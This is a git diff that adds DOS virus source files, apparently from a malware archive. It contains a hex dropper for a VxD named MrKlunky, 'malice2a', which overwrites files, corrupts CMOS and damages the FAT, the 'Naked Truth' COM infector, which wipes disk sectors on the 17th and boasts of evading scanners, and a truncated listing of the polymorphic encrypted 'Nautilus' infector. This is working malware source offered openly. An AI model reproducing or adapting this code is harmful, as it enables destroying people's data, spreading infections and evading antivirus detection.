44 69 72 65 63 74 6F 72 79 41 00 47 65 74 +E 1A10 57 69 6E 64 6F 77 73 44 69 72 65 63 74 6F 72 79 +E 1A20 41 00 53 65 74 45 6E 64 4F 66 46 69 6C 65 00 57 +E 1A30 72 69 74 65 46 69 6C 65 00 41 44 56 41 50 49 33 +E 1A40 32 00 52 65 67 43 6C 6F 73 65 4B 65 79 00 52 65 +E 1A50 67 43 72 65 61 74 65 4B 65 79 45 78 41 00 52 65 +E 1A60 67 53 65 74 56 61 6C 75 65 45 78 41 00 00 00 00 +E 1A70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1A80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1A90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1AA0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1AB0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1AC0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1AD0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1AE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1AF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1B00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1B10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1B20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1B30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1B40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1B50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1B60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1B70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1B80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1B90 00 00 00 00 53 74 61 72 74 00 53 59 53 54 45 4D +E 1BA0 5C 43 75 72 72 65 6E 74 43 6F 6E 74 72 6F 6C 53 +E 1BB0 65 74 5C 53 65 72 76 69 63 65 73 5C 56 78 44 5C +E 1BC0 4D 72 4B 6C 75 6E 6B 79 00 53 74 61 74 69 63 56 +E 1BD0 78 44 00 00 00 00 00 0F 00 00 00 47 65 74 50 72 +E 1BE0 6F 63 41 64 64 72 65 73 73 00 00 00 00 00 11 00 +E 1BF0 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C +E 1C00 65 41 00 CC 08 4D 52 4B 4C 55 4E 4B 59 00 00 0C +E 1C10 4D 52 4B 4C 55 4E 4B 59 5F 44 44 42 01 00 00 +RCX +1B1F +W +Q + +;============================================================================ + diff --git a/m/malice2a.asm b/m/malice2a.asm new file mode 100755 index 0000000..9337706 --- /dev/null +++ b/m/malice2a.asm @@ -0,0 +1,176 @@ + +.model tiny +.code + +seg_a segment byte public + ASSUME CS:SEG_A, DS:SEG_A +org 100h + + +main proc + +find: + mov ah,3bh + mov dx,offset win + int 21h + mov Dx,offset conn + mov cx,2h + mov ah,4eh + int 21h +next: + mov ah,4fh + mov dx,offset conn + int 21h + +open: + mov ah,43H + mov dx,09Eh + mov al,0 + int 21H + mov cl,0 + mov ah,43H + nop + mov dx,09Eh + mov al,1 + int 21H + mov ax,3d02h + mov dx,9eh + int 21h +write: + xchg bx,ax + mov cx,833 + mov ah,40h + mov dx,100h + int 21h +close: + mov ah,3eh + int 21h + inc cntr + cmp cntr,5 + jge message + call next +message: + mov ah,3bh + mov al,00h + mov dx,offset UP_ONE + int 21h + cmp ax,3 + jne next + mov cntr,0000 + +C_MAN: + mov ah,09h + mov dx,offset who + int 21h + inc cntr + cmp cntr,65 + jge fat_fuck + mov dx,cntr + xor bx,bx + mov bx,255 + call CMOS_CHCKSM + +CMOS_CHCKSM: + xor ax,ax + mov al,2Eh + out 70h,al + in al,71h + xchg ch,al + mov al,2Fh + out 70h,al + in al,71h + xchg cl,al + push dx + xchg dl,al + out 70h,al + in al,71h + sub cx,ax + add cx,bx + pop dx + xchg dl,al + out 70h,al + xchg al,bl + out 71h,al + mov al,2Eh + out 70h,al + xchg al,ch + out 71h,al + mov al,2Fh + out 70h,al + xchg al,cl + out 71h,al + call C_MAN +fat_fuck: + push dx + push bx + push cx + push ax + push bp + mov ax,0dh + int 21h + mov ah,19h + int 21h + xor dx,dx + call load_sec + mov bp,bx + mov bx,word ptr es:[bp+16h] + push ax + call rnd_num + cmp bx,ax + jbe alter_fat1 + mov ax,bx +alter_fat1: + xchg ax,dx + pop ax + mov cx,1 + int 26h + add dx,bx + int 26h + pop bp + pop ax + pop cx + pop bx + pop dx + CALL JUST_TO_MAKE_IT_WORSE + +load_sec: + push cx + push ds + push ax + push cs + pop ds + push cs + pop es + mov ax,0dh + int 21h + pop ax + mov cx, 1 + mov bx, offset sec_buf + int 25h + pop ds + pop cx + ret + +rnd_num: + push cx + push dx + xor ax,ax + int 1ah + xchg dx,ax + pop dx + pop cx + ret +JUST_TO_MAKE_IT_WORSE: + mov ah,31h + mov dx,7530h + int 21H + RET +sec_buf dw 100h dup(?) +win db 'C:\windows\command',0 +conn db '*.C*',0 +who db ' EvuLz MaLiCe $' +cntr dw 0 +up_one db '..',0 +main endp +seg_a ends +end find diff --git a/n/NAKTRUTH.ASM b/n/NAKTRUTH.ASM new file mode 100755 index 0000000..7ac28e8 --- /dev/null +++ b/n/NAKTRUTH.ASM @@ -0,0 +1,245 @@ +; VirusName : Naked Truth +; Country : Sweden +; Author : The Unforiven / Immortal Riot +; Date : 17/09/1993 +; +; This is a mutation of the virus Born on the Fourth of July +; This was written by TBSI. Mcafee scan used to find it as the +; "ash" virus. But I changed on a few bytes, and he's now tricked. +; Dr Alan Salomon "string" where placed at the beginning +; of the code, but now he's cheated too..So...enjoy! +; +; This is a non-overwriting com infector, it is not resident. +; It checks which day it is, and if it is the 17:ten the +; virus will have a redeeming. A redeeming is very nice. +; +; This might not be the best mutation, but afterall, it +; cheats the most common virus scanners. This was born +; the seventeen of September 1993 (hate all date-names) +; +; Scan v108 can't find this, neither can S&S Toolkit 6.54, +; havn't tried with TBScan/F-Prot, but they will probably +; identify it as the "ash" virus. +; +; Regards : The Unforgiven / Immortal Riot + + +code segment word public 'code' ; +assume cs:code,ds:code ; I assume that too :) +org 100h ; + +main proc;edure ; Old pascal coder ? + + +TITLE Naked Truth ;Mutation Name... +TOF: ;Top-Of-File + jmp short begin ;Skip over program + NOP ;Reserve 3rd byte +EOFMARK: db 26 ;Disable DOS's TYPE + DB 0 ; <- S&S Toolkit "String-Cheater". + +first_four: nop ;First run copy only! +address: int 20h ;First run copy only! +check: nop ;First run copy only! +begin: call nextline ;Push BP onto stack +nextline: pop bp ;BP=location of Skip + sub bp,offset nextline ;BP=offset from 1st run + + mov byte ptr [bp+offset infected],0 + ;Reset infection count + + lea si,[bp+offset first_four] ;Original first 4 bytes + mov di,offset tof ;TOF never changes + mov cx,4 ;Lets copy 4 bytes + cld ;Read left-to-right + rep movsb ;Copy the 4 bytes + + mov ah,1Ah ;Set DTA address ... + lea dx,[bp+offset DTA] ; ... to *our* DTA + int 21h ;Call DOS to set DTA + + mov ah,4Eh ;Find First ASCIIZ + lea dx,[bp+offset immortal] ;DS:DX -} '*.COM',0 + lea si,[bp+offset filename] ;Point to file + push dx ;Save DX + jmp short continue ;Continue... + +return: + mov ah,1ah ;Set DTA address ... + mov dx,80h ; ... to default DTA + int 21h ;Call DOS to set DTA + xor ax,ax ;AX= 0 + mov bx,ax ;BX= 0 + mov cx,ax ;CX= 0 + mov dx,ax ;DX= 0 + mov si,ax ;SI= 0 + mov di,ax ;DI= 0 + mov sp,0FFFEh ;SP= 0 + mov bp,100h ;BP= 100h (RETurn addr) + push bp ; Put on stack + mov bp,ax ;BP= 0 + ret ;JMP to 100h + +nextfile: or bx,bx ;Did we open the file? + jz skipclose ;No, so don't close it + mov ah,3Eh ;Close file + int 21h ;Call DOS to close it + xor bx,bx ;Set BX back to 0 +skipclose: mov ah,4Fh ;Find Next ASCIIZ + +continue: pop dx ;Restore DX + push dx ;Re-save DX + xor cx,cx ;CX= 0 + xor bx,bx + int 21h ;Find First/Next + jnc skipjmp + jmp NoneLeft ;Out of files + +skipjmp: mov ax,3D02h ;open file + mov dx,si ;point to filespec + int 21h ;Call DOS to open file + jc nextfile ;Next file if error + + mov bx,ax ;get the handle + mov ah,3Fh ;Read from file + mov cx,4 ;Read 4 bytes + lea dx,[bp+offset first_four] ;Read in the first 4 + int 21h ;Call DOS to read + + cmp byte ptr [bp+offset check],26 ;Already infected? + je nextfile ;Yep, try again + cmp byte ptr [bp+offset first_four],77 ; + je nextfile ; + + mov ax,4202h ;LSeek to EOF + xor cx,cx ;CX= 0 + xor dx,dx ;DX= 0 + int 21h ;Call DOS to LSeek + + cmp ax,0FD00h ;Longer than 63K? + ja nextfile ;Yep, try again... + mov [bp+offset addr],ax ;Save call location + + mov ah,40h ;Write to file + mov cx,4 ;Write 4 bytes + lea dx,[bp+offset first_four] ;Point to buffer + int 21h ;Save the first 4 bytes + + mov ah,40h ;Write to file + mov cx,offset eof-offset begin ;Length of target code + lea dx,[bp+offset begin] ;Point to virus start + int 21h ;Append the virus + + mov ax,4200h ;LSeek to TOF + xor cx,cx ;CX= 0 + xor dx,dx ;DX= 0 + int 21h ;Call DOS to LSeek + + mov ax,[bp+offset addr] ;Retrieve location + inc ax ;Adjust location + + mov [bp+offset address],ax ;address to call + mov byte ptr [bp+offset first_four],0E9h ;JMP rel16 + mov byte ptr [bp+offset check],26 ;EOFMARK + + mov ah,40h ;Write to file + mov cx,4 ;Write 4 bytes + lea dx,[bp+offset first_four] ;4 bytes are at DX + int 21h ;Write to file + + inc byte ptr [bp+offset infected] ;increment counter + jmp nextfile ;Any more? + +NoneLeft: cmp byte ptr [bp+offset infected],2 ;2 infected + jae TheEnd ;Party over! + mov di,100h ;DI= 100h + cmp word ptr [di],20CDh ;an INT 20h? + je daycheck ;je daycheck +; ----------------- +; Here instead of "JE" to theend here, jump to Daycheck, and if the day +; isn't the 17:ten, just continue to theend, but if it is, have phun... +; ----------------- + lea dx,[bp+offset riot] ;dot-dot method.. +; MOV DX,OFFSET RIOT ;shitty liner.. + mov ah,3Bh ;Set current directory + int 21h ;CHDIR .. + jc TheEnd ;We're through! + mov ah,4Eh ;check for first com + jmp continue ;Start over in new dir +; ----------------- +; If you want to get a redeeming on some special month, just look at the +; call to daycheck at "nonleft" and the call to daycheck. Change the call +; to monthcheck, and "delete" the ";" on procedure monthcheck. But +; remember, that makes, the virus much less destructive, and by that time, +; all scanners has probably added a new scan-string on this one. Now it will +; go off the 17:th every month. Feel free to modify this date as much you +; want to. +; --------------- +; monthcheck: ; check what month it is.. +; mov ah,2ah ; +; int 21h ; dos to your service.. +; cmp dh,10 ; check if month 10.. +; je daycheck ; if yes jump to day check +; jmp theend ; otherwise jump to theend. +; ----------------- +DAYCHECK: ; Check what day it is.. + mov ah,2ah ; + int 21h ; Dos to your service.. + cmp dl,17 ; Check if it's the forbidden night.. + je redeeming ; If yes, have a great fuck.. + jmp theend ; Otherwise jump to theend + +REDEEMING: ; Havi'n such a great fuck.. + cli ; Cleaning all interrupts..> + mov ah,2 ; Starting with drive C + cwd ; Starting it from 0 + mov cx,0100h ; Continue to 256 + int 026h ; Direct disk-write + jmp KARO ; Jump For Joy..(J4J).. + +KARO: ; Yet another.. + CLI ; No law-breakers here! + MOV AL,3 ; Set to fry drive D + MOV CX,700 ; Set to write 700 sectors + MOV DX,00 ; Starting at sector 0 + MOV DS,[DI+99] ; Put random crap in DS + MOV BX,[DI+55] ; More crap in BX + CALL REDEEMING ; Start it all over.. + +TheEnd: jmp return ; Getting a gold medal ? + +Immortal: db '*.COM',0 ;File Specification +Riot: db '..',0 ;'Dot-Dot' + +MutationName: db " Naked Truth! " +Sizefilling: db " Hi-Tech Assasins - Ready To Take On The World " +morefilling: db " // DEATH TO ALL - PEACE AT LAST // " +Copyleft: db ' The Unforgiven / Immortal Riot ' + + +; ----------------- +; None of this information is included in the virus's code. It is only +; used during the search/infect routines and it is not necessary to pre- +; serve it in between calls to them. +; ----------------- + +EOF: ;End Of File.. +DTA: db 21 dup (?) ;internal search's data + +attribute db ? ;attribute +file_time db 2 dup (?) ;file's time stamp +file_date db 2 dup (?) ;file's date stamp +file_size db 4 dup (?) ;file's size +filename db 13 dup (?) ;filename + +infected db ? ;infection count + +addr dw ? ;Address + +main endp;rocedure +code ends;egment + +end main + +; Greets goes out to : Raver, Metal Militia, Scavenger +; and all other hi-tech assasins all over the world... \ No newline at end of file diff --git a/n/NAUTILUS.ASM b/n/NAUTILUS.ASM new file mode 100755 index 0000000..6c678b3 --- /dev/null +++ b/n/NAUTILUS.ASM @@ -0,0 +1,1142 @@ +; NAME: Nautilus.com +; TYPE: Appending +; ENCRYPTION: Yes ( Double Morphing ) +; INFECTS: COM +; ROI: 7 files per run ( Rate Of Infection ) +; RESIDENT: No +; POLYMORPH: Yes ( Encryption Routines/Calls and Offset Finder Change ) +; STEALTH: No +; DT: Yes ( Directory Transversal ) +; REPAIRABLE: Yes +; PAYLOAD: Yes +; SIZE: 1,824 bytes +; AUTHOR: Sea4 + +; This is my finest creation so far. This is a polymorph with 131,072 +; different variations of code, and then if you factor in the different +; XOR/ROR/ROL encryption values, it actually is more than 4*10^11 ( that +; is 400,000,000,000 ). It changes everything about itself that is not +; encrypted, so that the AV scanners have a hard time. It is named +; after the monstrous submarine in the Jules Verne book '20,000 Leagues Under +; the Sea'. It will activate on November 6 of every year, because its a +; significant day in the book. The bomb consists of writing a txt string to +; the end of all TXT files in the current directory, also on that day... no +; *.com files will run from 11pm to midnight and instead will display a text +; string. Some other significant things: +; 1) Will record its infector through the 'InfectedBy' variable +; 2) Saves the DTA so that command parameters passed to an infected +; file are not lost. +; 3) Will infect all read only / hidden / system files and restore attributes +; 4) Will restore DATE/TIME stamps to victem files, and text files +; 5) Will infect Dos and Windows directories + plus any previous directories +; of the one it was run from. And the .\windows\command directory too. +; 6) Will NOT destroy any infected files, and will restore Registers and +; stack pointer before returning control. +; 7) Will NOT infect any files smaller than the Dropper, and none bigger +; than 65,535-3*DropperSize +; 8) Will NOT infect more than 7 files per run +; 9) And it will randomly generate encryption/decryption values + +; +; - Sea4 of the CodeBreakers +; + +start: +jmp Virus_start ; Jumps to the start of the virus. This + ; will change as the virus is appended to + ; different size files. +Virus_start: +call Delta ; Now we have to get the delta offset. By + ; calling Delta we push the address of 'pop bp' + ; onto the stack. +Delta: +pop ax ; Put the address into BP so it can be used. +sub ax,offset delta ; Now this takes the distance that Delta is now +nop ; Occupy space so that this +nop ; takes up 10 bytes +xchg bp,ax ; now (BP) and subtracts where it started + ; (Offset Delta). Understand?? Hopefully you do! + ; Because most files are different sizes, and this + ; virus just attaches itself to the end we have + ; to find out where it is before it can do anything. + +Decrypt: ; This is one spot modified by the Morphing + +mov cx,cryptie-hidden ; Give length of area to decrypt to CX +lea si,[bp+hidden] ; Start of area to decrypt +mov di,si ; its also the destination for decrypted part +mov dl,[bp+DecVal1] ; Stores Decryption Value in dl +mov dh,[bp+Xor1val] ; Xor Value to be used in this call +nop ; 1 byte to make space for morphing +call Cryptie ; Decrypts the virus from here to the decryption + ; routine. + +Hidden: ; Only encrypted once, because this is the decrypt + ; call for the second layer. This is modyfied by + ; the Morphing. + +mov cx,DCryptie-Dhidden ; Gets the size for the next area to decrypt +lea si,[bp+Dhidden] ; Puts the starting address of the secong layer of + ; encryption into DI +mov di,si ; Then SI +mov dl,[bp+DecVal2] ; Decryption code value +mov dh,[bp+Xor2Val] ; Xor Value to be used by this call +nop ; 1 byte to take up space for morphing +call DCryptie ; Boom! Decrypts the second layer + +DHidden: ; Area that is hidden with Double encryption + +; Here we will write the saved bytes from the beggining of the file, back +; to where they belong, so that we may run the file as normal, after we +; infect some more files of course :) + +lea di,100h ; We are gonna write the saved bytes to the start + ; so we run the program as normal after we infect + ; some files. +mov cx,03h ; The number of bytes we have to write back to start +lea si,[bp+saved] ; Notice the [bp+saved]. It accesses a memory locale + ; that would be changed depending on infected file + ; size. We just add our Delta offset to find out + ; its exact location. +rep movsb ; Quickly restores the file so we can run it after + ; we get through here. + +; Save the DTA +NewDTA EQU Buffer+VirL +; It will be after the buffer needed for copying the virus + +lea di,[bp+NewDTA] ; Puts the DTA after the buffer used by copying + ; the virus. +mov si,80h ; DTA area that we must save +mov cx,2Ah ; Length of DTA = 42d bytes ( 2Ah ) +rep movsb ; Puts it in a safe place + +; Save the current directory so that control is restored in the +; right place after the virus has run. +mov ah,47h ; Function 47h: Get Current Directory +xor dx,dx ; 00h in DL = Default Drive +lea si,[bp+CurDIR] ; 64 byte buffer for pathname +int 21h ; Calls DOS to write current DIR to CurDIR + + +; Put the name of this file into 'Infectedby' so that +; the victem file knows who infected it :) MyName will be +; set when each file is found. + +lea si,[bp+MyName] ; Name of the running file +lea di,[bp+Infectedby] ; Place where the victems will see their infector +mov cx,0Dh ; 0Dh bytes, length of name +rep movsb ; Moves it by bytes + +pusha +call InfectDir ; Umm, maybe it infects the directory, I am not + ; sure though. +popa + +Chg_Dot_Dot: ; Go to '..' all the way to root dir infecting along the way +mov ah,3Bh ; Function 3Bh: Change Directory +lea dx,[bp+dot_dot] ; Dot_Dot mask +int 21h ; Calls DOS to go back 1 directory +jc Go_DOS ; Change Directory to DOS because it has a few + ; frequently used COM files +pusha +call InfectDir ; Umm, maybe it infects the directory, I am not + ; sure though. +popa +jmp Chg_Dot_Dot ; Do again, till we hit root directory + +Go_DOS: ; Go to DOS +mov ah,3Bh ; Function 3Bh: Change Directory +lea dx,[bp+dos_mask] ; DOS +int 21h ; Calls DOS to go back 1 directory +jc Windows + +pusha +call InfectDir ; Umm, maybe it infects the directory, I am not + ; sure though. +pusha + +Windows: ; Infect Windows DIR +; Got to move back to ROOT +mov ah,3Bh ; Function 3Bh: Change Directory +lea dx,[bp+dot_dot] ; Dot_Dot mask +int 21h ; Calls DOS to go back 1 directory + +mov ah,3Bh ; Function 3Bh: Change Directory +lea dx,[bp+win_mask] ; win mask +int 21h ; Open windows DIR +jnc InfectWin +jmp WinCom + +InfectWin: +pusha +call InfectDir ; Umm, maybe it infects the directory, I am not + ; sure though. +popa + +WinCom: ; Infect .\windows\command +mov ah,3Bh ; Function 3Bh: Change Directory +lea dx,[bp+win_com] ; command directory mask +int 21h ; Open command directory +jnc InfWinCom +jmp BadStuff + +InfWinCom: +pusha +call InfectDir ; Umm, maybe it infects the directory, I am not + ; sure though. +popa +jmp BadStuff + +SavedDTAs EQU NewDTA+2Ah + +InfectDir: +mov ax,4E00h ; Function 4Eh: Find First +Findnext: ; Findnext jmp point +lea dx,[bp+filemask] ; Gets the filemask = '*.com',0 +mov cx,07h ; Find all file types +int 21h ; Tells DOS to find the *.com files + +jnc Open ; Found one, now open it! + +ret ; NONE left, lets jump back to changing directories + +Open: ; Open/Encrypt/Infect routines + + + +; Now we have to retrieve the name of the file to be infected +; so that we may put it into the MyName variable. The reason +; it is done this way is to delete extra characters that may +; have been left from longer filenames. :) + +mov si,9Eh ; ASCIZ filename +lea di,[bp+MyName] ; Name of the file to be infected +mov cx,0Dh ; 0Dh (13d) bytes, name length +GetName: +lodsb ; Gets the next char of name +cmp al,00h ; Checks to see if the name is done +je DelRest ; If the name is done we blank out the other chars +stosb ; Store the character into MyName +loop GetName ; Gets the whole name this way + +Delrest: +rep stosb ; Pushes 00h into the remaining chars if the filename + ; is done before 13 chars + +; Save attributes, then set them to 0, so we can +; modify this file. They are restored at 'Close' + +lea si,[95h] ; Start of file attributes +mov cx,09h ; CX is enough to read: Attrib/Time/Date/Size +lea di,[bp+s_attr] ; Place to save all the file attribs +rep movsb ; Moves em to their new home ( to be restore later ) + +; Set attrib to 0 +lea dx,[9Eh] ; Filename in DTA +mov ax,4301h ; Function 4301h: Set File Attributes +xor cx,cx ; Clear file attribs +int 21h ; Calls DOS to do 'our dirty work' + +mov ax,3D02h ; Function 3Dh: Open File + ; 02 = Read/Write access +mov dx,9Eh ; Location of ASCIZ filename +int 21h ; Calls DOS to open the file, with Read/Write access + ; so that we can write the virus to it :) + +xchg bx,ax ; Gives the file handle from AX to BX in one byte. + +mov ah,3Fh ; Function 3Fh: Read from file +mov cx,03h ; We are gonna read the first 3 bytes. CX = # of bytes + ; to read from file. +lea dx,[bp+saved] ; The location for the bytes to be stored when read. +int 21h ; Calls DOS to load the first 3 bytes of Victem file + ; into the 'Saved' location so that it may run correctly. + +mov al,0E9h ; Checks to see if it was a jump instruction +cmp al,[bp+saved] ; by matching E9h to the first byte of the file. +jne Uninfected ; It can't be infected by this virus because the file + ; has NO jmp at its beggining. +mov ax,[80h+1Ah] ; Gets filesize +sub ax,Virl+3 ; subtracts JMP size and Virus Size +cmp ax,[bp+saved+1] ; See if the file is infected by THIS virus +jne Uninfected + +Close: +jmp Infected + +Uninfected: + +; Check if file meets requirements for infection + +mov ax,[9Ch] ; Get file offset size +cmp ax,0 ; see if its = 0 +jnz Close ; If the file is larger than 64k we can't infect it, + ; plus it might command.com or some other important file. + +Filesize EQU Buffer-Start + +mov ax,[80h+1Ah] ; Gets the filesize of the target file +cmp ax,FileSize ; If file is smaller than the 1st Gen. file, it is safe +jc Close ; so we jump to close + +cmp ax,0FFFFh-(3*FileSize) ; If file is larger than AX +jnc Close ; Errors may occur + +sub ax,03h ; Takes into account the length of the JMP instruction +mov [bp+jumpto],ax ; Puts the location to jmp to as the + ; 2nd,3rd bytes of the buffer. + +; Call Morph, changes the encryption routines and calls +push bx ; Saves BX +call Morph ; Calls the morphing routine +pop bx ; Retrieves BX + +mov ax,4200h ; Function 42h: Move File Pointer + ; 00h = beggining, after the read the FP moves 3 bytes +xor cx,cx ; 0 = CX +xor dx,dx ; 0 = DX +int 21h ; Calls DOS, this is explained a bit more with the + ; next "Move File Pointer" instruction + +mov ah,40h ; Function 40h: Write to file +mov cx,03 ; Number of bytes to write. CX = # of bytes +lea dx,[bp+jumping]; Start at buffer area, this will write the jump + ; instruction to the beggining of the victem file. +int 21h ; Blammo! This is the jmp that skips over the normal + ; file and heads write to the virus code. INT 21h tells + ; DOS to write those three bytes. + +mov ax,4202h ; Function 42h: Move File pointer + ; 02 = End of file ( EOF ) +xor cx,cx ; DX:CX is the offset from the File pointer location, +xor dx,dx ; since we want to be exactly at the EOF we clear DX:CX +int 21h ; Calls DOS to move the file pointer + +; Write the Virus to memory + +VirL EQU Ende-Virus_Start + +; Length of Virus except jmp at beggining + +lea si,[bp+Virus_Start] ; Start of virus +lea di,[bp+buffer] ; Area that it will be stored in mem +mov cx,VirL ; Length of it +rep movsb + +; Now we have to modify it so that it is encrypted + +DHiddenL EQU DCryptie-DHidden ; Length of area to encrypt that will + ; end up double encrypted. +HiddenL EQU Cryptie-Hidden ; Length of single encrypt area +DHBufStart EQU DHidden-Virus_Start+Buffer ; Start of DHidden in buffer +HBufStart EQU Hidden-Virus_Start+Buffer ; Start of Hidden in Buffer + +; More ways to clear up the clutter + +; Here we encrypt All but the second and first Decrypt calls, and the +; decryption routines that go with em. + +lea si,[bp+DHBufStart] ; Time to encrypt the first area that will then +mov di,si ; be encrypted again, giving us our Doubly Encrypted + ; area. +mov cx,DHiddenL ; Length of this area +mov dl,[bp+EncVal2] ; ROL/ROR value +mov dh,[bp+Xor2Val] ; Xor value +call DCryptie ; Calls the Second Encryption routine + ; because this will become decrypted by the first + ; when infected files are run. + +; Now we encrypt from Hidden to Cryptie ( while encrypting DHidden to +; DCryptie for the second time ) which makes this double encrypting. + +lea si,[bp+HBufStart] ; Start of Hidden area in buffer +mov di,si ; You should know this one by now. +mov dl,[bp+EncVal1] ; ROR/ROL value +mov dh,[bp+Xor1Val] ; Xor value +mov cx,HiddenL ; Length of the area +call Cryptie ; Uhoh, now its encrypted and the AV software won't + ; find it. Now what are we gonna do? + ; ( Being sarcastic of course! ) + +; So we have the virus prepared for infecting :) + +mov ah,40h ; Function 40h: Write to file ( everyone's fave ) +lea dx,[bp+buffer] ; Start of virus in mem buffer +mov cx,VirL ; Length of it +int 21h ; Calls DOS to write this :) + +inc byte ptr [bp+victems] ; Increase victem # + +Infected: ; A place to jump in case the file is already infected + +mov ax,5701h ; Function 5701h: Set File's Last - Written Date and Time +mov dx,word ptr [bp+s_date] ; DX = Date +mov cx,word ptr [bp+s_time] ; CX = Time +int 21h ; More Dirty work for DOS + +mov ah,3Eh ; Function 3Eh: Close File +int 21h ; Calls DOS to close up the file. + +mov ax,4301h ; Function 4301h: Set File Attributes +lea dx,[9Eh] ; Filename in DTA +xor cx,cx ; Clears CX +mov cl,byte ptr [bp+s_attr] ; Puts the attributes into CL +int 21h ; Isn't DOS just sooooo helpful. + +cmp byte ptr [bp+Victems],07h ; Check to see if 7 files have been infected. + +je BadStuff ; Place where the bomb will be dropped + +mov ax,4F00h ; Function 4Fh: Find next +jmp Findnext + +Badstuff: ; Here is where the payload goes +; This is a real simple payload +; It will go off on the day that the Abraham Lincoln was rammed by the +; Nautilus submarine in the book 20,000 Leagues Under The Sea. +; It will then print a text string to the end of all text files in the +; current directory, and display a message and no *.com files will run +; from 11pm to midnight because that is around the time of day it happened +; ( in the book at least ), its fiction in case you were wondering +Go_Root: ; Takes us to root +mov ah,3Bh ; Function 3Bh: Change Directory +lea dx,[bp+dot_dot] ; '..' back a directory +int 21h ; Hey DOS, lets go to the ROOT Directory +jnc Go_root ; Loops til we hit the root + +; Now We head back to the directory we started in by getting the +; CurDIR variable from its buffer +mov ah,3Bh ; Function 3Bh: Change Directory +lea dx,[bp+CurDIR] ; Saved starting directory +int 21h +jnc DropBomb ; It was successful +jmp Exit ; For whatever reason we were not able to get there + ; so we should exit + +DropBomb: +mov ah,04h ; Function 04h: Get Real Time Clock ( Date ) +int 1Ah ; INT 1Ah BIOS Time interrupt + ; Gets the date and puts the value into the following + ; registers. + ; CH = Century + ; CL = Year + ; DH = Month + ; DL = Day + +cmp dx,1106h ; The day that the Nautilus rammed Professor Arronax's ship +je WriteText ; Only activate on this day +jmp Exit ; Otherwise get out of here + +WriteText: +mov ah,4Eh ; Function 4Eh: Find First +FindNextText: +lea dx,[bp+textmask] ; Gets the text file mask +mov cx,07h ; all file attributes +int 21h ; Tells DOS to get us the file +jnc OpenText +jmp FindTime + +OpenText: +lea si,[95h] ; Start of file attributes +mov cx,09h ; CX is enough to read: Attrib/Time/Date/Size +lea di,[bp+s_attr] ; Place to save all the file attribs +rep movsb ; Moves em to their new home ( to be restore later ) + +; Set attrib to 0 +lea dx,[9Eh] ; Filename in DTA +mov ax,4301h ; Function 4301h: Set File Attributes +xor cx,cx ; Clear file attribs +int 21h ; Calls DOS to do 'our dirty work' + +mov ax,3D01h ; Function 3Dh: Open File + ; 01h = for write access +mov dx,9Eh ; ASCIZ Filename in DTA +int 21h ; Calls DOS to tear that baby open! + +xchg bx,ax ; Puts file handle in BX + +mov ax,4202h ; Function 42h: Move File Pointer + ; 02 = End Of File (EOF) +xor cx,cx ; 0 +xor dx,dx ; 0 +int 21h ; Once we get to the end of thew file we can write our + ; string to it, without damaging anything + +mov ah,40h ; Function 40h: Write to file +lea dx,[bp+line1] ; Puts the string start address into DX +mov cx,Textlen ; Puts the text length into CX +int 21h ; Writes that baby + +mov ax,5701h ; Function 5701h: Set File's Last - Written Date and Time +mov dx,word ptr [bp+s_date] ; DX = Date +mov cx,word ptr [bp+s_time] ; CX = Time +int 21h ; More Dirty work for DOS + +mov ah,3Eh ; Function 3Eh: Close File +int 21h ; Calls DOS to close up the file. + +mov ax,4301h ; Function 4301h: Set File Attributes +lea dx,[9Eh] ; Filename in DTA +xor cx,cx ; Clears CX +mov cl,byte ptr [bp+s_attr] ; Puts the attributes into CL +int 21h ; Isn't DOS just sooooo helpful. + +mov ax,4F00h ; Find next +jmp FindNextText ; Gets the next one + +FindTime: +mov ah,02h ; Function 02h: Get Real Time Clock ( Time ) +int 1Ah ; Retrieves the time and puts the values into the + ; following registers + ; CH = Hour + ; CL = Minutes + ; DH = Seconds + ; DL = Daylight Savings Flag ( 0h = standard time; 1h = daylight time ) + +cmp cx,2300h ; 11:00pm ( about the time it was rammed ) +jb exit ; If before 11 we are safe, otherwise ... + +mov ah,09h ; Function 09h: Print String Standard Output +lea dx,[bp+Message1] ; Location of string +int 21h ; Calls DOS + +int 20h ; Close Program + +message1 db 'Thus ends the voyage under the seas.','$' + +exit: + +; Lets set the DTA back to what it should be so that the program can +; can use any parameters passed to it. + +lea si,[bp+NewDTA] ; Area that DTA was saved +mov di,80h ; Area where it was +mov cx,2Ah ; Length of DTA +rep movsb ; Put it back + + +; Now we are gonna get outta here, first we should cover up any stuff +; that might show up in a mem dump, so that if anyone looks, all they +; see is garbage. +HideEnde EQU 2Ah+VirL+Buffer-Ende + +lea si,[bp+Ende] ; We are gonna encrypt from Ende to end of DTA +mov di,si ; So it is hidden along with the Virus itself +mov dl,[bp+EncVal2] ; Rotate value +mov dh,[bp+Xor2Val] ; Xor value +mov cx,HideEnde ; Length of buffer area used + DTA area :) +call DCryptie ; Calls 2nd encrypt routine + +lea di,[bp+EndRet] ; Loads start of routine that returns control +mov si,di ; to host program, into DI/SI +mov dl,[bp+EncVal1] ; Gets encryption value for DL +mov dh,[bp+Xor1Val] ; Gets XOR value for DH +mov cx,DoneRet-EndRet ; length to encrypt +call Cryptie ; Calls the encryptor. We encrypt this so it is the + ; only thing left after the next call. Understand? + +lea di,[bp+Virus_Start] ; Gets the location of the Virus_start and hides + ; everything but the encryption itself. ( and the + ; kitchen sink, of course ) +mov si,di ; and put it into DI/SI so we can hide the virus + 